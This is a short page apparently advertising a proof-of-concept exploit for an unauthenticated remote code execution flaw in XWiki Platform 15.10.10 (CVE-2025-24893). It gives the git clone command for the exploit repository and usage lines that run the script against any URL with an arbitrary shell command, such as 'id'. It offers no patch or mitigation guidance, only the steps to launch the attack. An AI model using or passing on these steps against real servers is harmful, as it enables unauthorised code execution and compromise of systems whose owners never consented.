
PoC | XWiki Platform 15.10.10 - Remote Code Execution
An RCE (Remote Code Execution) category vulnerability, found when unauthenticated attackers can execute arbitrary Groovy code remotely without authentication or prior access (Guest User). Below is a PoC (Proof-Of-Concept) in Python for the exploitation of this vulnerability.
git clone https://github.com/zs1n/CVE-2025-24893
python3 CVE-2025-24893.py -u <url> -c <command>
python3 CVE-2025-24893.py -u https://domain.com -c 'id'